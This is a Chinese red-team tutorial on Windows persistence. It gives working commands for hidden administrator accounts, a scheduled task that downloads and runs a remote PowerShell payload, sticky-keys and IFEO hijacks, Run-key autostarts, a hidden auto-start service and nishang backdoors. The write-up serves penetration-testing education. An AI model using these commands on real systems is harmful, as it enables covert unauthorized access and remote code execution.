前言
本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/11101.html
续接上文 浅谈红队中的打点(连载第二篇)
不过因为一些权限维持的方法需要管理员权限才行,所有这时又需要先提权才能做权限维持;有时如果想做域控权限维持又需要先进行横向移动。
所以实战中并不会像上面的图一样一步一步的来,这个是要根据实际情况去具体分析的。
注意:本系列侧重的是面,不是具体的点,因此文中不会面面俱到的谈论每个方法具体怎么利用,这里更加看着的是知识点的一个梳理。
0x01 Windows 主机后门
1、隐藏账号
这个是比较常见的创建后门的方法,直接建立一个隐藏账号
net user teamssix$ Passw0rd /add
net localgroup administrators teamssix$ /add
虽然使用 net user 是看不到这个账号的,但是在控制面板里可以看到,因此这种隐藏效果并不是很好。
想要更好的隐藏效果,可以通过注册表克隆用户实现,只是操作起来比较繁琐,所以我这边写了一个利用注册表创建隐藏用户的小工具。
工具地址:
https://github.com/wgpsec/CreateHiddenAccount
直接使用以下命令,就可以轻松的创建一个隐藏用户。
CreateHiddenAccount.exe -u teamssix -p Passw0rd
创建完后,通过 net user 和控制面板等等都是看不到这个账号的。
也可以拿来检查当前系统的隐藏账号
CreateHiddenAccount.exe -c
删除用户也很方便
CreateHiddenAccount.exe -d teamssix
2、计划任务
计划任务也是比较常见的权限维持方法,计划任务在 Win7 之前使用 at 命令,之后的系统中使用 schtasks 命令。
例如每小时执行一次 calc.exe
schtasks /create /tn updater /tr calc.exe /sc hourly /mo 1
当系统空闲时,执行 CS 上线 PowerShell 脚本
schtasks /create /tn WindowsUpdate /tr "powershell.exe -nop -w hidden -c'IEX ((new-object net.webclient).downloadstring('''http://172.16.214.1:80/a'''))'" /sc onidle /i 1
除了使用系统自带命令外,还可以使用 PowerSploit 渗透测试框架里的 Persistence 模块自动创建计划任务后门。
3、shift 后门
这个也算是比较知名的后门方法了,直接使用 copy 命令即可
copy C:WindowsSystem32cmd.exe C:WindowsSystem32sethc.exe /y
如果提示访问被拒绝,可以在管理员权限下,加上 everyone 的权限再试试。
cacls C:WindowsSystem32sethc.exe /T /E /G everyone:F
然后在登录界面按 5 下 shift 键就能打开 cmd 窗口了。
使用注册表也可以。
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:windowssystem32cmd.exe"
除了 按 5 下 shift 打开粘滞键的功能外,同样的道理,还可以使用辅助工具、放大镜、屏幕键盘等等。
辅助工具 utilman.exe
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f
屏幕键盘 osk.exe
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f
放大镜 Magnify.exe
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsMagnify.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f
4、组策略
新建一个 bat 文件,这里 bat 内容为 calc
使用 gpedit.msc 进入本地组策略,来到用户配置 --》Windows 设置 --》脚本登录,点击浏览选择 bat 文件,当用户登录时就会触发这个 bat 文件。
5、注册表
在系统启动的注册表下添加恶意程序,这样当用户登录系统时,exe 就会被运行,或者将 exe 直接放到系统启动的文件夹里也是一样的道理。
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Vmware Regg" /t REG_SZ /d "C:WindowsSystem32calc.exe" /f
6、服务自启动
直接使用命令创建服务
sc create teamssix start=auto binPath="cmd.exe /k ping -n 1 test.xxx.ceye.io" obj=Localsystem
启动该服务
net start teamssix
虽然报错了,但其实是被执行的
只不过这种创建服务的方法隐藏性太弱,直接在服务里就能看到。
可以在创建完服务后,使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务。
sc.exe sdset teamssix "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
使用以下命令就能恢复。
& $env:SystemRootSystem32sc.exe sdset teamssix "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
7、nishang 后门
nishang 是一个 PowerShell 项目,里面集成了众多工具,其中包含有制作后门的工具,nishang 项目下载地址:
https://github.com/samratashok/nishang
HTTP-Backdoor
cd nishangBackdoors
Import-Module .HTTP-Backdoor.ps1
HTTP-Backdoor -CheckURL http:
命令解释如下:
- CheckURL 如果检测地址存在,再执行 Payload 里的脚本
- PayloadURL 需要下载的 PowerShell 脚本地址
- StopString 判断存在 -CheckURL 返回的字符串,则停止执行
- MagicString 判断存在 -CheckURL 返回的字符串,则开始执行
这个脚本感觉是挺有意思的,该脚本会不断读取 CheckURL 的内容,这里设置的 MagicString 为 start,那么当 http://192.168.7.1/1.txt 内容为 start 的时候,就会执行 http://192.168.7.1/calc.ps1 脚本。
Add-ScrnSaveBackdoor
Add-ScrnSaveBackdoor 脚本可以帮助攻击者利用 Windows 的屏幕保护程序来安装一个隐藏的后门,该脚本需要管理员权限。
Import-Module .Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -Payload "Powershell.exe calc"
当屏幕保护程序启动时,就会运行 Payload 里的内容。
除了上面的两个脚本外,还有 Execute-OnTime 和 Invoke-ADSBackdoor。
其中 Execute-OnTime 和 HTTP-Backdoor 脚本的使用方法相似,不过增加了定时启动脚本的功能。
Windows 下的制作后门方法当然不止上面这些,还有其他的比如进程注入、dll 劫持等等。